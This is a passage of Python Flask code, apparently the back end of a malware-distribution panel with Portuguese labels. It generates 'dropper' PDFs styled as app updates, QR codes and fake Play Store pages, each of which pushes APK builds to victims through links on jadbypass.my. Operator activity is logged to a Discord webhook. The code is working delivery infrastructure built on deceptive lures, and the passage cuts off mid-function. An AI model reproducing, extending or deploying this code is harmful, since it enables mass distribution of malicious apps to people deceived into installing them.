    if not isinstance(data, dict):
        return jsonify({'success': False, 'message': 'Dados invalidos'}), 400
    build_id = re.sub(r'[^a-zA-Z0-9_-]', '', str(data.get('build_id', '')))[:50]
    pdf_title = str(data.get('title', 'Atualizacao Disponivel'))[:100].strip() or 'Atualizacao Disponivel'
    pdf_message = str(data.get('message', 'Toque no botao abaixo para instalar o aplicativo.'))[:500].strip()
    bg_color  = re.sub(r'[^a-fA-F0-9#]', '', str(data.get('bg_color',  '#0e1117')))[:7] or '#0e1117'
    btn_color = re.sub(r'[^a-fA-F0-9#]', '', str(data.get('btn_color', '#16a34a')))[:7] or '#16a34a'
    txt_color = re.sub(r'[^a-fA-F0-9#]', '', str(data.get('txt_color', '#e2e8f0')))[:7] or '#e2e8f0'
    btn_label = re.sub(r'[^\w\s]', '', str(data.get('btn_label', 'BAIXAR APLICATIVO')))[:30].strip() or 'BAIXAR APLICATIVO'
    expire_days = min(int(data.get('expire_days', 30) or 30), 365)
    if not build_id:
        return jsonify({'success': False, 'message': 'Build nao selecionado'}), 400
    db = load_data()
    current_user = session['username']
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')
    build_found = False
    app_name = 'App'
    search_users = db['users'].items()
    for uname, udata in search_users:
        if current_role == 'operator' and uname != current_user:
            continue
        if current_role == 'admin' and udata.get('team_id') != current_team:
            continue
        for b in udata.get('builds', []):
            if b.get('build_id') == build_id and b.get('status') == 'concluido':
                build_found = True
                app_name = b.get('app_name', 'App')
                break
        if build_found:
            break
    if not build_found:
        return jsonify({'success': False, 'message': 'Build nao encontrado ou sem permissao'}), 404
    pdf_id = secrets.token_hex(12)
    dl_token = secrets.token_hex(24)
    pdf_folder = app.config['PDF_FOLDER']
    pdf_path = os.path.join(pdf_folder, f'{pdf_id}.pdf')
    download_url = f'https://jadbypass.my/pub/{dl_token}'
    tokens = _load_pdf_tokens()
    expires_at = (datetime.utcnow() + timedelta(days=expire_days)).isoformat()
    tokens[dl_token] = {'build_id': build_id, 'app_name': app_name, 'created_by': current_user, 'created_at': datetime.utcnow().isoformat(), 'expires_at': expires_at, 'downloads': 0, 'type': 'pdf'}
    _save_pdf_tokens(tokens)
    try:
        _create_dropper_pdf(pdf_path, pdf_title, pdf_message, app_name, download_url, bg_color=bg_color, btn_color=btn_color, text_color=txt_color, btn_label=btn_label)
    except Exception as e:
        return jsonify({'success': False, 'message': f'Erro ao gerar PDF: {str(e)}'}), 500
    add_history(current_user, 'Gerar PDF', f'PDF gerado para build {build_id} ({app_name})')
    _append_pdf_item({'pdf_id': pdf_id, 'pdf_url': f'/pdf/download/{pdf_id}', 'pub_url': f'https://jadbypass.my/pub/{dl_token}', 'title': pdf_title, 'app_name': app_name, 'created_by': current_user, 'created_at': datetime.utcnow().isoformat(), 'expires_at': expires_at})
    send_discord_webhook(
        'PDF DROPPER GERADO',
        f'Novo PDF criado por **{current_user}** para **{app_name}**',
        color=0x9333ea,
        fields=[
            {'name': 'App', 'value': app_name, 'inline': True},
            {'name': 'Operador', 'value': current_user, 'inline': True},
            {'name': 'Titulo', 'value': pdf_title, 'inline': False},
            {'name': 'Link Publico', 'value': download_url, 'inline': False},
            {'name': 'Expira em', 'value': f'{expire_days} dias', 'inline': True},
        ]
    )
    return jsonify({'success': True, 'pdf_id': pdf_id, 'pdf_url': f'/pdf/download/{pdf_id}', 'app_name': app_name, 'title': pdf_title, 'pub_url': f'https://jadbypass.my/pub/{dl_token}'})

@app.route('/pdf/download/<pdf_id>')
def pdf_download_route(pdf_id):
    if 'username' not in session:
        return redirect(url_for('index'))
    pdf_id = re.sub(r'[^a-zA-Z0-9]', '', pdf_id)[:32]
    pdf_path = os.path.join(app.config['PDF_FOLDER'], f'{pdf_id}.pdf')
    if not os.path.exists(pdf_path):
        return jsonify({'error': 'PDF nao encontrado'}), 404
    return send_file(pdf_path, as_attachment=True, download_name='aplicativo.pdf', mimetype='application/pdf')

@app.route('/qr/builds')
def qr_list_builds():
    return pdf_list_builds()

@app.route('/qr/generate', methods=['POST'])
def qr_generate():
    if 'username' not in session:
        return jsonify({'success': False, 'message': 'Login necessario'}), 401
    data = request.get_json(force=True, silent=True) or {}
    if not isinstance(data, dict):
        return jsonify({'success': False, 'message': 'Dados invalidos'}), 400
    build_id = re.sub(r'[^a-zA-Z0-9_-]', '', str(data.get('build_id', '')))[:50]
    fg_color = re.sub(r'[^a-fA-F0-9#]', '', str(data.get('fg_color', '#000000')))[:7] or '#000000'
    bg_color = re.sub(r'[^a-fA-F0-9#]', '', str(data.get('bg_color', '#ffffff')))[:7] or '#ffffff'
    as_pdf = bool(data.get('as_pdf', False))
    pdf_title = str(data.get('title', 'Atualizacao Disponivel'))[:100].strip() or 'Atualizacao Disponivel'
    pdf_message = str(data.get('message', 'Escaneie o QR Code ou toque no botao para instalar.'))[:500].strip()
    pdf_bg = re.sub(r'[^a-fA-F0-9#]', '', str(data.get('pdf_bg', '#0e1117')))[:7] or '#0e1117'
    pdf_btn = re.sub(r'[^a-fA-F0-9#]', '', str(data.get('pdf_btn', '#16a34a')))[:7] or '#16a34a'
    pdf_txt = re.sub(r'[^a-fA-F0-9#]', '', str(data.get('pdf_txt', '#e2e8f0')))[:7] or '#e2e8f0'
    if not build_id:
        return jsonify({'success': False, 'message': 'Build nao selecionado'}), 400
    db = load_data()
    current_user = session['username']
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')
    build_found = False
    app_name = 'App'
    for uname, udata in db['users'].items():
        if current_role == 'operator' and uname != current_user:
            continue
        if current_role == 'admin' and udata.get('team_id') != current_team:
            continue
        for b in udata.get('builds', []):
            if b.get('build_id') == build_id and b.get('status') == 'concluido':
                build_found = True
                app_name = b.get('app_name', 'App')
                break
        if build_found:
            break
    if not build_found and current_role == 'owner':
        for uname, udata in db['users'].items():
            for b in udata.get('builds', []):
                if b.get('build_id') == build_id and b.get('status') == 'concluido':
                    build_found = True
                    app_name = b.get('app_name', 'App')
                    break
            if build_found:
                break
    if not build_found:
        return jsonify({'success': False, 'message': 'Build nao encontrado'}), 404

    dl_token = secrets.token_hex(24)
    tokens = _load_pdf_tokens()
    expires_at = (datetime.utcnow() + timedelta(days=30)).isoformat()
    tokens[dl_token] = {'build_id': build_id, 'app_name': app_name, 'created_by': current_user, 'created_at': datetime.utcnow().isoformat(), 'expires_at': expires_at, 'downloads': 0, 'type': 'qr'}
    _save_pdf_tokens(tokens)

    download_url = f'https://jadbypass.my/pub/{dl_token}'
    qr_id = secrets.token_hex(12)
    qr_folder = app.config['PDF_FOLDER']
    qr_png_path = os.path.join(qr_folder, f'qr_{qr_id}.png')

    try:
        _create_qr_png(qr_png_path, download_url, fg_color=fg_color, bg_color=bg_color)
    except Exception as e:
        return jsonify({'success': False, 'message': f'Erro ao gerar QR: {str(e)}'}), 500

    result = {'success': True, 'qr_id': qr_id, 'qr_url': f'/qr/image/{qr_id}', 'app_name': app_name, 'pub_url': download_url}

    if as_pdf:
        pdf_id = secrets.token_hex(12)
        pdf_path = os.path.join(qr_folder, f'{pdf_id}.pdf')
        try:
            _create_qr_pdf(pdf_path, pdf_title, pdf_message, app_name, download_url, qr_png_path, pdf_bg, pdf_btn, pdf_txt)
            result['pdf_id'] = pdf_id
            result['pdf_url'] = f'/pdf/download/{pdf_id}'
        except Exception as e:
            result['pdf_warning'] = f'QR gerado mas PDF falhou: {str(e)}'

    add_history(current_user, 'Gerar QR Code', f'QR gerado para build {build_id} ({app_name})')
    _qr_item = {'qr_id': qr_id, 'qr_url': f'/qr/image/{qr_id}', 'pub_url': download_url, 'app_name': app_name, 'created_by': current_user, 'created_at': datetime.utcnow().isoformat()}
    if as_pdf and 'pdf_id' in result:
        _qr_item['pdf_url'] = f'/pdf/download/{result["pdf_id"]}'
    _append_qr_item(_qr_item)

    fields = [
        {'name': 'App', 'value': app_name, 'inline': True},
        {'name': 'Operador', 'value': current_user, 'inline': True},
        {'name': 'Link Publico', 'value': download_url[:100], 'inline': False},
    ]
    if as_pdf:
        fields.append({'name': 'PDF', 'value': 'Sim, gerado junto', 'inline': True})
    send_discord_webhook('QR CODE GERADO', f'Novo QR Code criado para **{app_name}**', color=0x3b82f6, fields=fields)

    return jsonify(result)

@app.route('/qr/image/<qr_id>')
def qr_image(qr_id):
    if 'username' not in session:
        return redirect(url_for('index'))
    qr_id = re.sub(r'[^a-zA-Z0-9]', '', qr_id)[:32]
    qr_path = os.path.join(app.config['PDF_FOLDER'], f'qr_{qr_id}.png')
    if not os.path.exists(qr_path):
        return jsonify({'error': 'QR nao encontrado'}), 404
    return send_file(qr_path, mimetype='image/png')

@app.route('/pdf/list')
def pdf_list_items():
    if 'username' not in session:
        return jsonify([]), 401
    db = load_data()
    current_user = session['username']
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')
    items = _get_user_items('__pdf_items__', current_user, current_role, current_team, db)
    out = []
    for item in items:
        item = dict(item)
        pdf_path = os.path.join(app.config['PDF_FOLDER'], f'{item.get("pdf_id","")}.pdf')
        item['exists'] = os.path.exists(pdf_path)
        out.append(item)
    return jsonify(out)

@app.route('/qr/list')
def qr_list_items():
    if 'username' not in session:
        return jsonify([]), 401
    db = load_data()
    current_user = session['username']
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')
    items = _get_user_items('__qr_items__', current_user, current_role, current_team, db)
    out = []
    for item in items:
        item = dict(item)
        qr_path = os.path.join(app.config['PDF_FOLDER'], f'qr_{item.get("qr_id","")}.png')
        item['exists'] = os.path.exists(qr_path)
        out.append(item)
    return jsonify(out)

@app.route('/pdf/delete/<pdf_id>', methods=['POST'])
def pdf_delete(pdf_id):
    if 'username' not in session:
        return jsonify({'success': False}), 401
    pdf_id = re.sub(r'[^a-zA-Z0-9]', '', pdf_id)[:32]
    db = load_data()
    current_user = session['username']
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')
    tokens = _load_pdf_tokens()
    items = tokens.get('__pdf_items__', [])
    new_items = []
    found = False
    for item in items:
        if item.get('pdf_id') == pdf_id:
            owner = item.get('created_by')
            if current_role == 'owner' or owner == current_user or (current_role == 'admin' and db['users'].get(owner, {}).get('team_id') == current_team):
                found = True
                continue
        new_items.append(item)
    if not found:
        return jsonify({'success': False, 'message': 'Nao encontrado'}), 404
    tokens['__pdf_items__'] = new_items
    _save_pdf_tokens(tokens)
    pdf_path = os.path.join(app.config['PDF_FOLDER'], f'{pdf_id}.pdf')
    if os.path.exists(pdf_path):
        os.remove(pdf_path)
    return jsonify({'success': True})

@app.route('/qr/delete/<qr_id>', methods=['POST'])
def qr_delete(qr_id):
    if 'username' not in session:
        return jsonify({'success': False}), 401
    qr_id = re.sub(r'[^a-zA-Z0-9]', '', qr_id)[:32]
    db = load_data()
    current_user = session['username']
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')
    tokens = _load_pdf_tokens()
    items = tokens.get('__qr_items__', [])
    new_items = []
    found = False
    pdf_id_to_del = None
    for item in items:
        if item.get('qr_id') == qr_id:
            owner = item.get('created_by')
            if current_role == 'owner' or owner == current_user or (current_role == 'admin' and db['users'].get(owner, {}).get('team_id') == current_team):
                found = True
                if item.get('pdf_url'):
                    pdf_id_to_del = item['pdf_url'].split('/')[-1]
                continue
        new_items.append(item)
    if not found:
        return jsonify({'success': False, 'message': 'Nao encontrado'}), 404
    tokens['__qr_items__'] = new_items
    _save_pdf_tokens(tokens)
    for f_name in [f'qr_{qr_id}.png']:
        p = os.path.join(app.config['PDF_FOLDER'], f_name)
        if os.path.exists(p):
            os.remove(p)
    if pdf_id_to_del:
        p = os.path.join(app.config['PDF_FOLDER'], f'{pdf_id_to_del}.pdf')
        if os.path.exists(p):
            os.remove(p)
    return jsonify({'success': True})

def _render_advanced_pdf(pdf_path, bg_color, elements, download_url, pdf_folder):
    from reportlab.pdfgen import canvas as rl_canvas
    from reportlab.lib.pagesizes import A4
    from reportlab.lib.utils import ImageReader
    import qrcode as qrcode_lib
    import io

    CANVAS_W = 500.0
    CANVAS_H = 707.0
    PAGE_W, PAGE_H = A4

    def to_pdf(cx, cy, cw, ch):
        x  = cx * (PAGE_W / CANVAS_W)
        w  = cw * (PAGE_W / CANVAS_W)
        h  = ch * (PAGE_H / CANVAS_H)
        y  = PAGE_H - cy * (PAGE_H / CANVAS_H) - h
        return x, y, w, h

    c = rl_canvas.Canvas(pdf_path, pagesize=A4)

    bg = _hex_rgb(bg_color) if bg_color else (1, 1, 1)
    c.setFillColorRGB(*bg)
    c.rect(0, 0, PAGE_W, PAGE_H, fill=1, stroke=0)

    for el in elements:
        t = el.get('type', '')
        try:
            cx = float(el.get('x', 0))
            cy = float(el.get('y', 0))
            cw = max(float(el.get('w', 50)), 1)
            ch = max(float(el.get('h', 20)), 1)
            x, y, w, h = to_pdf(cx, cy, cw, ch)

            if t == 'text':
                raw   = str(el.get('text', ''))[:1000]
                fsize = min(max(float(el.get('font_size', 14)), 4), 200)
                bold  = bool(el.get('bold', False))
                color = re.sub(r'[^a-fA-F0-9#]', '', str(el.get('color', '#000000')))[:7] or '#000000'
                align = el.get('align', 'left')
                font  = 'Helvetica-Bold' if bold else 'Helvetica'
                c.setFillColorRGB(*_hex_rgb(color))
                c.setFont(font, fsize)
                lines = raw.split('\n')
                for i, line in enumerate(lines[:60]):
                    ly = y + h - fsize * (i + 1) + 2
                    if ly < y - 2:
                        break
                    if align == 'center':
                        c.drawCentredString(x + w / 2, ly, line)
                    elif align == 'right':
                        c.drawRightString(x + w, ly, line)
                    else:
                        c.drawString(x, ly, line)

            elif t == 'image':
                raw_id  = re.sub(r'[^a-zA-Z0-9._-]', '', str(el.get('img_id', '')))[:60]
                img_path = os.path.join(pdf_folder, f'img_{raw_id}')
                if os.path.exists(img_path):
                    preserve = bool(el.get('keep_ratio', True))
                    c.drawImage(ImageReader(img_path), x, y, w, h,
                                mask='auto', preserveAspectRatio=preserve, anchor='c')

            elif t == 'qr':
                fg_hex = re.sub(r'[^a-fA-F0-9#]', '', str(el.get('fg', '#000000')))[:7] or '#000000'
                bg_hex = re.sub(r'[^a-fA-F0-9#]', '', str(el.get('bg', '#ffffff')))[:7] or '#ffffff'
                fg_t   = tuple(int(fg_hex.lstrip('#')[i:i+2], 16) for i in (0, 2, 4))
                bg_t   = tuple(int(bg_hex.lstrip('#')[i:i+2], 16) for i in (0, 2, 4))
                qr = qrcode_lib.QRCode(error_correction=qrcode_lib.constants.ERROR_CORRECT_H, box_size=10, border=2)
                qr.add_data(download_url)
                qr.make(fit=True)
                img = qr.make_image(fill_color=fg_t, back_color=bg_t)
                buf = io.BytesIO()
                img.save(buf, format='PNG')
                buf.seek(0)
                c.drawImage(ImageReader(buf), x, y, w, h)

            elif t == 'button':
                label    = str(el.get('label', 'BAIXAR APLICATIVO'))[:50]
                btn_bg   = re.sub(r'[^a-fA-F0-9#]', '', str(el.get('bg',         '#16a34a')))[:7] or '#16a34a'
                btn_tc   = re.sub(r'[^a-fA-F0-9#]', '', str(el.get('text_color', '#ffffff')))[:7] or '#ffffff'
                btn_fsize= min(max(float(el.get('font_size', 13)), 6), 60)
                radius   = min(h / 3, 10)
                c.setFillColorRGB(*_hex_rgb(btn_bg))
                c.roundRect(x, y, w, h, radius, fill=1, stroke=0)
                c.setFillColorRGB(*_hex_rgb(btn_tc))
                c.setFont('Helvetica-Bold', btn_fsize)
                c.drawCentredString(x + w / 2, y + (h - btn_fsize) / 2 + 1, label)
                c.linkURL(download_url, (x, y, x + w, y + h), relative=0)

            elif t == 'video':
                raw_id   = re.sub(r'[^a-zA-Z0-9._-]', '', str(el.get('img_id', '')))[:60]
                video_url= str(el.get('url', ''))[:500]
                img_path  = os.path.join(pdf_folder, f'img_{raw_id}')
                if os.path.exists(img_path):
                    c.drawImage(ImageReader(img_path), x, y, w, h, mask='auto', preserveAspectRatio=False)
                else:
                    c.setFillColorRGB(0.1, 0.1, 0.1)
                    c.rect(x, y, w, h, fill=1, stroke=0)
                r2  = min(w, h) * 0.17
                cx2 = x + w / 2
                cy2 = y + h / 2
                c.setFillColorRGB(1, 1, 1)
                c.circle(cx2, cy2, r2, fill=1, stroke=0)
                c.setFillColorRGB(0.1, 0.1, 0.1)
                p2 = c.beginPath()
                p2.moveTo(cx2 - r2 * 0.3, cy2 + r2 * 0.45)
                p2.lineTo(cx2 + r2 * 0.55, cy2)
                p2.lineTo(cx2 - r2 * 0.3, cy2 - r2 * 0.45)
                p2.close()
                c.drawPath(p2, fill=1, stroke=0)
                if video_url:
                    c.linkURL(video_url, (x, y, x + w, y + h), relative=0)

            elif t == 'rect':
                fill_hex   = re.sub(r'[^a-fA-F0-9#]', '', str(el.get('fill', '#cccccc')))[:7] or '#cccccc'
                border_hex = re.sub(r'[^a-fA-F0-9#]', '', str(el.get('border', '')))[:7]
                bw         = float(el.get('border_width', 1))
                radius_r   = float(el.get('radius', 0))
                c.setFillColorRGB(*_hex_rgb(fill_hex))
                has_border = bool(border_hex)
                if has_border:
                    c.setStrokeColorRGB(*_hex_rgb(border_hex))
                    c.setLineWidth(bw)
                if radius_r > 0:
                    c.roundRect(x, y, w, h, radius_r, fill=1, stroke=1 if has_border else 0)
                else:
                    c.rect(x, y, w, h, fill=1, stroke=1 if has_border else 0)

            elif t == 'ellipse':
                fill_hex   = re.sub(r'[^a-fA-F0-9#]', '', str(el.get('fill', '#cccccc')))[:7] or '#cccccc'
                border_hex = re.sub(r'[^a-fA-F0-9#]', '', str(el.get('border', '')))[:7]
                bw         = float(el.get('border_width', 1))
                c.setFillColorRGB(*_hex_rgb(fill_hex))
                has_border = bool(border_hex)
                if has_border:
                    c.setStrokeColorRGB(*_hex_rgb(border_hex))
                    c.setLineWidth(bw)
                c.ellipse(x, y, x + w, y + h, fill=1, stroke=1 if has_border else 0)

            elif t == 'line':
                fill_hex = re.sub(r'[^a-fA-F0-9#]', '', str(el.get('fill', '#000000')))[:7] or '#000000'
                c.setStrokeColorRGB(*_hex_rgb(fill_hex))
                c.setLineWidth(h)
                c.line(x, y + h / 2, x + w, y + h / 2)

        except Exception:
            continue

    c.showPage()
    c.save()

@app.route('/pdf/editor')
def pdf_editor_page():
    if 'username' not in session:
        return redirect(url_for('index'))
    db = load_data()
    current_user = session['username']
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')
    builds = []
    seen = set()
    for uname, udata in db['users'].items():
        if current_role == 'operator' and uname != current_user:
            continue
        if current_role == 'admin' and udata.get('team_id') != current_team:
            continue
        for b in udata.get('builds', []):
            if b.get('status') == 'concluido' and b.get('build_id') not in seen:
                seen.add(b['build_id'])
                builds.append({'build_id': b['build_id'], 'app_name': b.get('app_name', 'App')})
    if current_role == 'owner':
        builds = []
        seen = set()
        for uname, udata in db['users'].items():
            for b in udata.get('builds', []):
                if b.get('status') == 'concluido' and b.get('build_id') not in seen:
                    seen.add(b['build_id'])
                    builds.append({'build_id': b['build_id'], 'app_name': b.get('app_name', 'App')})
    return render_template('pdf_editor.html', builds=builds, username=current_user)

@app.route('/pdf/upload-image', methods=['POST'])
def pdf_upload_image():
    if 'username' not in session:
        return jsonify({'success': False}), 401
    if 'file' not in request.files:
        return jsonify({'success': False, 'message': 'Nenhum arquivo'}), 400
    f = request.files['file']
    if not f.filename:
        return jsonify({'success': False, 'message': 'Arquivo vazio'}), 400
    ext = os.path.splitext(secure_filename(f.filename))[1].lower()
    if ext not in ('.png', '.jpg', '.jpeg', '.gif', '.webp'):
        return jsonify({'success': False, 'message': 'Formato nao suportado'}), 400
    img_id = secrets.token_hex(12) + ext
    img_path = os.path.join(app.config['PDF_FOLDER'], f'img_{img_id}')
    f.save(img_path)
    return jsonify({'success': True, 'img_id': img_id, 'img_url': f'/pdf/image/{img_id}'})

@app.route('/pdf/image/<img_id>')
def pdf_get_image(img_id):
    if 'username' not in session:
        return jsonify({'error': 'Login necessario'}), 401
    img_id = re.sub(r'[^a-zA-Z0-9._-]', '', img_id)[:60]
    img_path = os.path.join(app.config['PDF_FOLDER'], f'img_{img_id}')
    if not os.path.exists(img_path):
        return jsonify({'error': 'Imagem nao encontrada'}), 404
    ext = os.path.splitext(img_id)[1].lower().lstrip('.')
    mime = {'png': 'image/png', 'jpg': 'image/jpeg', 'jpeg': 'image/jpeg',
            'gif': 'image/gif', 'webp': 'image/webp'}.get(ext, 'image/png')
    return send_file(img_path, mimetype=mime)

@app.route('/pdf/qr-preview')
def pdf_qr_preview():
    if 'username' not in session:
        return jsonify({'error': 'Login necessario'}), 401
    import qrcode as qrcode_lib
    import io
    fg_hex = re.sub(r'[^a-fA-F0-9#]', '', request.args.get('fg', '#000000'))[:7] or '#000000'
    bg_hex = re.sub(r'[^a-fA-F0-9#]', '', request.args.get('bg', '#ffffff'))[:7] or '#ffffff'
    fg_t = tuple(int(fg_hex.lstrip('#')[i:i+2], 16) for i in (0, 2, 4))
    bg_t = tuple(int(bg_hex.lstrip('#')[i:i+2], 16) for i in (0, 2, 4))
    qr = qrcode_lib.QRCode(error_correction=qrcode_lib.constants.ERROR_CORRECT_M, box_size=4, border=2)
    qr.add_data('https://jadbypass.my')
    qr.make(fit=True)
    img = qr.make_image(fill_color=fg_t, back_color=bg_t)
    buf = io.BytesIO()
    img.save(buf, format='PNG')
    buf.seek(0)
    return send_file(buf, mimetype='image/png')

@app.route('/pdf/generate-advanced', methods=['POST'])
def pdf_generate_advanced():
    if 'username' not in session:
        return jsonify({'success': False, 'message': 'Login necessario'}), 401
    data = request.get_json(force=True, silent=True) or {}
    if not isinstance(data, dict):
        return jsonify({'success': False, 'message': 'Dados invalidos'}), 400

    build_id    = re.sub(r'[^a-zA-Z0-9_-]', '', str(data.get('build_id', '')))[:50]
    bg_color    = re.sub(r'[^a-fA-F0-9#]',  '', str(data.get('bg_color', '#ffffff')))[:7] or '#ffffff'
    elements    = data.get('elements', [])
    expire_days = min(int(data.get('expire_days', 30) or 30), 365)
    pdf_title_m = str(data.get('pdf_title', 'App'))[:100]

    if not build_id or not isinstance(elements, list):
        return jsonify({'success': False, 'message': 'Dados invalidos'}), 400

    db           = load_data()
    current_user = session['username']
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')

    build_found = False
    app_name    = 'App'
    for uname, udata in db['users'].items():
        if current_role == 'operator' and uname != current_user:
            continue
        if current_role == 'admin' and udata.get('team_id') != current_team:
            continue
        for b in udata.get('builds', []):
            if b.get('build_id') == build_id and b.get('status') == 'concluido':
                build_found = True
                app_name    = b.get('app_name', 'App')
                break
        if build_found:
            break
    if not build_found and current_role == 'owner':
        for uname, udata in db['users'].items():
            for b in udata.get('builds', []):
                if b.get('build_id') == build_id and b.get('status') == 'concluido':
                    build_found = True
                    app_name    = b.get('app_name', 'App')
                    break
            if build_found:
                break
    if not build_found:
        return jsonify({'success': False, 'message': 'Build nao encontrado'}), 404

    dl_token   = secrets.token_hex(24)
    expires_at = (datetime.utcnow() + timedelta(days=expire_days)).isoformat()
    tokens     = _load_pdf_tokens()
    tokens[dl_token] = {
        'build_id': build_id, 'app_name': app_name,
        'created_by': current_user, 'created_at': datetime.utcnow().isoformat(),
        'expires_at': expires_at, 'downloads': 0, 'type': 'pdf_advanced'
    }
    _save_pdf_tokens(tokens)

    download_url = f'https://jadbypass.my/pub/{dl_token}'
    pdf_id       = secrets.token_hex(12)
    pdf_path     = os.path.join(app.config['PDF_FOLDER'], f'{pdf_id}.pdf')

    try:
        _render_advanced_pdf(pdf_path, bg_color, elements, download_url, app.config['PDF_FOLDER'])
    except Exception as e:
        return jsonify({'success': False, 'message': f'Erro ao gerar PDF: {str(e)}'}), 500

    add_history(current_user, 'Gerar PDF Editor', f'PDF editor para {app_name}')
    _append_pdf_item({
        'pdf_id': pdf_id, 'pdf_url': f'/pdf/download/{pdf_id}',
        'pub_url': download_url, 'title': pdf_title_m or app_name,
        'app_name': app_name, 'created_by': current_user,
        'created_at': datetime.utcnow().isoformat(), 'expires_at': expires_at
    })

    try:
        send_discord_webhook(
            'PDF EDITOR GERADO',
            f'PDF editor criado por **{current_user}** para **{app_name}**',
            color=0x8b5cf6,
            fields=[
                {'name': 'App',       'value': app_name,       'inline': True},
                {'name': 'Operador',  'value': current_user,   'inline': True},
                {'name': 'Elementos', 'value': str(len(elements)), 'inline': True},
                {'name': 'Link',      'value': download_url,   'inline': False},
            ]
        )
    except Exception:
        pass

    return jsonify({'success': True, 'pdf_id': pdf_id,
                    'pdf_url': f'/pdf/download/{pdf_id}', 'pub_url': download_url})

def _cleanup_old_apks():
    while True:
        time.sleep(3600)
        cutoff = time.time() - 24 * 3600
        removed_apk = removed_pdf = 0

        output_folder = app.config.get('OUTPUT_FOLDER', '')
        if output_folder:
            try:
                for fname in os.listdir(output_folder):
                    fpath = os.path.join(output_folder, fname)
                    if os.path.isfile(fpath) and fname.endswith('.apk'):
                        if os.path.getmtime(fpath) < cutoff:
                            try:
                                os.remove(fpath)
                                removed_apk += 1
                            except Exception:
                                pass
            except Exception:
                pass

        pdf_folder = app.config.get('PDF_FOLDER', '')
        if pdf_folder:
            try:
                for fname in os.listdir(pdf_folder):
                    fpath = os.path.join(pdf_folder, fname)
                    if os.path.isfile(fpath) and fname.endswith('.pdf'):
                        if os.path.getmtime(fpath) < cutoff:
                            try:
                                os.remove(fpath)
                                removed_pdf += 1
                            except Exception:
                                pass
            except Exception:
                pass

        if removed_apk or removed_pdf:
            print(f'[cleanup] removidos: {removed_apk} APK(s), {removed_pdf} PDF(s) com mais de 48h')

_cleanup_thread = threading.Thread(target=_cleanup_old_apks, daemon=True)
_cleanup_thread.start()

# ===== TELA PLAY STORE =====
import unicodedata as _unicodedata

@app.route('/play/<slug>')
def play_page(slug):
    slug = re.sub(r'[^a-zA-Z0-9_-]', '', slug)[:80]
    db = load_data()
    pages = db.get('play_pages', {})
    page = pages.get(slug)
    if not page:
        return '<html><body style="font-family:sans-serif;padding:2rem;color:#555;text-align:center;"><h2>Página não encontrada.</h2></body></html>', 404
    created = page.get('created_at', '')
    if created:
        try:
            from datetime import datetime, timedelta
            ct = datetime.fromisoformat(created)
            if datetime.now() - ct > timedelta(hours=24):
                del pages[slug]
                save_data(db)
                return '<html><body style="font-family:sans-serif;padding:2rem;color:#555;text-align:center;"><h2>Esta página expirou.</h2></body></html>', 404
        except:
            pass
    return render_template('play_page.html', app=page)

@app.route('/play-download/<slug>')
def play_download(slug):
    slug = re.sub(r'[^a-zA-Z0-9_-]', '', slug)[:80]
    db = load_data()
    pages = db.get('play_pages', {})
    page = pages.get(slug)
    if not page:
        return jsonify({'error': 'Não encontrado'}), 404
    build_id = re.sub(r'[^a-zA-Z0-9_]', '', str(page.get('build_id', '')))[:50]
    output_folder = app.config['OUTPUT_FOLDER']
    file_path = os.path.join(output_folder, f'{build_id}.apk')
    if not os.path.exists(file_path):
        return '<html><body style="font-family:sans-serif;padding:2rem;color:#555;text-align:center;"><h2>APK não disponível no momento.</h2></body></html>', 404
    display_name = re.sub(r'[^a-zA-Z0-9 _-]', '', page.get('app_name', 'app')) + '.apk'
    return send_file(file_path, as_attachment=True, download_name=display_name)

@app.route('/api/play-pages', methods=['GET'])
def get_play_pages():
    if 'username' not in session:
        return jsonify([]), 401
    db = load_data()
    pages = db.get('play_pages', {})
    output_folder = app.config['OUTPUT_FOLDER']
    now = datetime.now()
    expired = []
    for slug, page in list(pages.items()):
        created = page.get('created_at', '')
        if created:
            try:
                ct = datetime.fromisoformat(created)
                if now - ct > timedelta(hours=24):
                    expired.append(slug)
            except:
                pass
    for slug in expired:
        del pages[slug]
    if expired:
        save_data(db)
    current_user = session.get('username', '')
    is_admin = session.get('role') in ('admin', 'owner')
    result = []
    for slug, page in pages.items():
        if not is_admin and page.get('created_by', '') != current_user:
            continue
        build_id = re.sub(r'[^a-zA-Z0-9_]', '', str(page.get('build_id', '')))[:50]
        apk_exists = os.path.exists(os.path.join(output_folder, f'{build_id}.apk'))
        remaining = '24h'
        created = page.get('created_at', '')
        if created:
            try:
                ct = datetime.fromisoformat(created)
                elapsed = now - ct
                remaining_secs = 86400 - elapsed.total_seconds()
                if remaining_secs <= 0:
                    continue
                h = int(remaining_secs // 3600)
                m = int((remaining_secs % 3600) // 60)
                remaining = f'{h}h{m}m'
            except:
                pass
        result.append({**page, 'apk_available': apk_exists, 'remaining': remaining})
    result.sort(key=lambda x: x.get('created_at', ''), reverse=True)
    return jsonify(result)

@app.route('/api/play-icon-upload', methods=['POST'])
def upload_play_icon():
    if 'username' not in session:
        return jsonify({'success': False}), 401
    f = request.files.get('icon')
    if not f or not f.filename:
        return jsonify({'success': False, 'message': 'Nenhum arquivo'}), 400
    ext = os.path.splitext(secure_filename(f.filename))[1].lower()
    if ext not in ('.png', '.jpg', '.jpeg', '.gif', '.webp'):
        return jsonify({'success': False, 'message': 'Formato invalido (use PNG, JPG, GIF ou WebP)'}), 400
    icons_dir = os.path.join(BASE_DIR, 'static', 'img', 'play_icons')
    os.makedirs(icons_dir, exist_ok=True)
    fname = str(uuid.uuid4()) + ext
    fpath = os.path.join(icons_dir, fname)
    f.save(fpath)
    return jsonify({'success': True, 'url': '/static/img/play_icons/' + fname})

@app.route('/api/play-pages', methods=['POST'])
def create_play_page():
    if 'username' not in session:
        return jsonify({'success': False}), 401
    data = request.get_json(force=True, silent=True) or {}
    app_name = str(data.get('app_name', '')).strip()[:80]
    build_id = re.sub(r'[^a-zA-Z0-9_]', '', str(data.get('build_id', '')))[:50]
